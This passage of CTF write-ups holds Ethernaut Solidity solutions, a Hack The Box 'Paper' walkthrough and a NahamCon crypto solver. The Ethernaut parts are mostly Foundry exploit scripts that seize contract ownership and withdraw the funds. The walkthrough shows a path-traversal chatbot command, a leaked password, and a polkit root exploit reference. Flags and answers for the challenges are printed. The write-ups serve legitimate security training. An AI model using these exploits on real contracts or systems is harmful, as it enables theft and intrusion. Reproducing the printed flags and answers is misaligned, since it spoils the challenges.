The calculation balances[msg.sender] - _value becomes 20 - 21
This results in an underflow, wrapping around to an extremely large number (2²⁵⁶ - 1)
The require statement passes because the result is positive (albeit due to underflow)
Your balance is then set to this enormous value

Exploit Script

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.0;

import "forge-std/Script.sol";
import "forge-std/console.sol";
import "../src/Token.sol";

contract TokenSolution is Script {
    Token public tokenInstance = Token(<YOUR_INSTANCE>);

    function run() public {
        vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
        
        // Check initial balance
        uint256 initialBalance = tokenInstance.balanceOf(vm.envAddress("MY_ADDRESS"));
        console.log("Initial balance:", initialBalance);
        
        // Trigger the underflow by transferring more tokens than we have
        // Sending to address(0) to avoid affecting other balances
        tokenInstance.transfer(address(0), 21);
        
        // Check the new balance after the exploit
        uint256 newBalance = tokenInstance.balanceOf(vm.envAddress("MY_ADDRESS"));
        console.log("New balance after exploit:", newBalance);
        
        vm.stopBroadcast();
    }
}

Proof of Concept (PoC)

Execute the exploit with Foundry:

forge script script/TokenSolution.s.sol --rpc-url $SEPOLIA_URL --broadcast

Fallback - The Ethernaut

Tue, 16 Sep 2025 00:00:00 GMT

Challenge Overview

In this level, we interact with a contract called Fallback.
The goal is to:

Become the owner of the contract.
Drain all its funds.

At first glance, ownership seems restricted to whoever deploys the contract. However, the receive() function hides a critical vulnerability.

Challenge Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {
    mapping(address => uint256) public contributions;
    address public owner;

    constructor() {
        owner = msg.sender;
        contributions[msg.sender] = 1000 * (1 ether);
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function contribute() public payable {
        require(msg.value < 0.001 ether);
        contributions[msg.sender] += msg.value;
        if (contributions[msg.sender] > contributions[owner]) {
            owner = msg.sender;
        }
    }

    function getContribution() public view returns (uint256) {
        return contributions[msg.sender];
    }

    function withdraw() public onlyOwner {
        payable(owner).transfer(address(this).balance);
    }

    receive() external payable {
        require(msg.value > 0 && contributions[msg.sender] > 0);
        owner = msg.sender;
    }
}

Exploit Explanation

The vulnerability lies in the receive() function:

receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
}

To trigger it, we must already have a contribution > 0.
Once this condition is met, sending Ether directly to the contract calls receive() and updates the owner to our address.

So the exploit sequence is:

Call contribute() with a tiny amount (< 0.001 ether) to register a contribution.
Send Ether directly to the contract → this calls receive() and transfers ownership to us.
Call withdraw() → since we’re now the owner, we can drain the contract’s balance.

Exploit Script

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Script.sol";
import "forge-std/console.sol";
import "../src/Fallback.sol";

contract FallbackSolution is Script {
    Fallback public fallbackInstance = Fallback(payable(<YOUR_INSTANCE>));

    function run() public {
        vm.startBroadcast(vm.envUint("PRIVATE_KEY"));

        // Step 1: Contribute a small amount
        fallbackInstance.contribute{value: 1 wei}();

        // Step 2: Send ether directly -> triggers receive()
        (bool success, ) = address(fallbackInstance).call{value: 1 wei}("");
        require(success, "Fallback call failed");

        // Debug logs
        console.log("New Owner:", fallbackInstance.owner());
        console.log("My Address:", vm.envAddress("MY_ADDRESS"));

        // Step 3: Withdraw funds
        fallbackInstance.withdraw();

        vm.stopBroadcast();
    }
}

Proof of Concept (PoC)

Run the exploit with Foundry:

forge script script/FallbackSolution.s.sol --rpc-url $SEPOLIA_URL --broadcast

Fallout - The Ethernaut

Tue, 16 Sep 2025 00:00:00 GMT

Challenge Overview

In this level, we interact with a contract called Fallout. The goal is to:

Become the owner of the contract.

At first glance, ownership seems to be permanently assigned to the deployer via a constructor. However, a critical typo in the constructor's name makes it a public function, allowing anyone to claim ownership.

Challenge Code

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Fallout {
    using SafeMath for uint256;

    mapping(address => uint256) allocations;
    address payable public owner;

    /* constructor */
    function Fal1out() public payable {
        owner = msg.sender;
        allocations[owner] = msg.value;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function allocate() public payable {
        allocations[msg.sender] = allocations[msg.sender].add(msg.value);
    }

    function sendAllocation(address payable allocator) public {
        require(allocations[allocator] > 0);
        allocator.transfer(allocations[allocator]);
    }

    function collectAllocations() public onlyOwner {
        msg.sender.transfer(address(this).balance);
    }

    function allocatorBalance(address allocator) public view returns (uint256) {
        return allocations[allocator];
    }
}

Exploit Explanation

The vulnerability lies in the misnamed constructor function:

function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
}

In Solidity versions <0.7.0, a constructor is defined by a function with the exact same name as the contract.
The function Fal1out() (with a number '1') does not match the contract name Fallout (with the letter 'o'), so it is not a constructor but a regular public function.
This means anyone can call this function at any time to reassign the owner to themselves.

So the exploit sequence is simple:

Call the Fal1out() function.
The function executes, setting msg.sender (our address) as the new owner.

Exploit Script

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.0;

import "forge-std/Script.sol";
import "forge-std/console.sol";
import "../src/Fallout.sol";

contract FalloutSolution is Script {
    Fallout public falloutInstance = Fallout(<YOUR_INSTANCE>);

    function run() public {
        vm.startBroadcast(vm.envUint("PRIVATE_KEY"));

        // Debug logs before attack
        console.log("Owner before attack:", falloutInstance.owner());

        // Step 1: Call the misnamed constructor function
        falloutInstance.Fal1out();

        // Debug logs after attack
        console.log("Owner after attack:", falloutInstance.owner());
        console.log("My Address:", vm.envAddress("MY_ADDRESS"));

        vm.stopBroadcast();
    }
}

Proof of Concept (PoC)

Run the exploit with Foundry:

forge script script/FalloutSolution.s.sol --rpc-url $SEPOLIA_URL --broadcast

Solving SafeMath Import Issue

If you encounter import/remapping issues for the SafeMath library in the challenge contract, follow these steps to resolve them in a Foundry project.

1. Configure `foundry.toml`

Create or modify foundry.toml with the following settings:

solc_version = "0.6.0"
remappings = [
    "forge-std/=lib/forge-std/src/",
    "@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/"
]

2. Install the Correct OpenZeppelin Release

Install the version of OpenZeppelin contracts that matches the Solidity version:

forge install openzeppelin/openzeppelin-contracts@v3.4.2

3. Update the Import Path

Modify the import statement in the challenge contract to use the remapped path:

- import "openzeppelin-contracts-06/math/SafeMath.sol";
+ import "@openzeppelin/contracts/math/SafeMath.sol";

This ensures the compiler correctly resolves the SafeMath dependency for pragma solidity ^0.6.0.

Paper - HTB Machine

Fri, 05 Sep 2025 00:00:00 GMT

Recon

nmap -sC -sV -p- 10.10.11.143 -v

Enumeration

Web (port 80)

We did not find anything manually with tools such as ffuf, so we used whatweb to attempt to obtain useful information. As part of the output, a domain was discovered near the end:

office.paper

We are dealing with a WordPress instance.

Reading the server content, We found a message that provided a hint indicating a possible vulnerability.

Consulting the referenced article, We identified the vulnerability that was being referenced:

https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/

We tested the behavior on the target server:

http://office.paper/?static=1

We obtained the following URL:

http://chat.office.paper/register/8qozr226AhkCHZdyY

We resolved that subdomain and accessed the secret registration area:

We created an account with the address polar@polar.com and the password polar. While exploring, We observed a chat bot accessible from the application:

By inspecting user comments, We discovered a useful hint:

We proceeded to message the bot privately. The initial approach was to attempt an XSS; however, the bot responded with a set of available commands:

List of commands:

After further testing, We successfully achieved Local File Inclusion (LFI):

recyclops list ../../../../../../../home

While using the bot's list and file commands, We discovered a .env file within the bot's directory that contained credentials:

From the file, We observed a password:

Queenofblad3s!23

The discovered credential permitted SSH access to the account dwight.

We retrieved user.txt:

7d11932a1b6de6738b24c5ebc107ee7d

Post Exploitation

Root

Execution of LinPEAS revealed the following finding:

Vulnerable to CVE-2021-3560

To exploit the vulnerability, We referenced the following public exploit repository:

https://github.com/UNICORDev/exploit-CVE-2021-3560/blob/main/exploit-CVE-2021-3560.py

We transferred the exploit to the target and executed it:

The compromised user possessed sudo privileges:

Consequently, We obtained the final flag:

682bc6dfe650b4a3c5eca6e5b20ffce5

Nahamcon CTF 2025 - Crypto Clock

Mon, 01 Sep 2025 00:00:00 GMT

Challenge Overview

The Crypto Clock challenge from Nahamcon 2025 provides an encrypted flag and some source code that generates a pseudo-random key using the current timestamp as a seed. The goal is to recover the original flag by replicating the key generation logic.

Initial Analysis

We are given the following encrypted flag:

>>> flag = "a6717b705265d3b9d810736c72b27bc8bcc5d245e68ccada61f8c16277d5a8bb5655db3cc7d0"
>>> print(len(flag))
76
>>> print(len(flag)/2)
38.0

Our task is to replicate the key generation, then XOR it with the ciphertext to retrieve the plaintext flag.

Moving on, lets analyze the source code:

In the generate_key function, they will generate the same key if the same seed is provided. The seed that they gave was the current time, using python. We need to replicate the same behavior to get the key, than XOR it with the ciphertext to get the flag.

Finally, we created our final exploit.

Exploit

import time
import random
import socket
from pwn import xor

HOST = 'challenge.nahamcon.com'
PORT = 31909

def bruteKey(size,seed):
    """Challenge Function used to generate the key."""
    if seed is not None:
        random.seed(int(seed))
    return bytes(random.randint(0, 255) for _ in range(size))

with socket.create_connection((HOST, PORT)) as s:
    # We retrieve the current time right after connecting to the port.
    current_time = int(time.time())
    print("Now it is currently:",current_time)

    # Then we retrieve only the flag part of the output.
    data = s.recv(1024).decode()
    enc_flag = data[47:123]

    # Finally, we get the size of the flag and pass it to the function that
    # generates the key.
    size = (len(enc_flag)) 
    key = bruteKey(size,current_time)

    # We need to conver the flag to bytes, to xor it with the key(that is already bytes)
    flag_bytes = bytes.fromhex(enc_flag)

    # XOR
    final_flag = xor(flag_bytes,key)

    # Clean the output
    flag = final_flag.decode('utf-8',errors='ignore')[:38]
    print(flag)

Flag:

flag{0e42ba180089ce6e3bb50e52587d3724}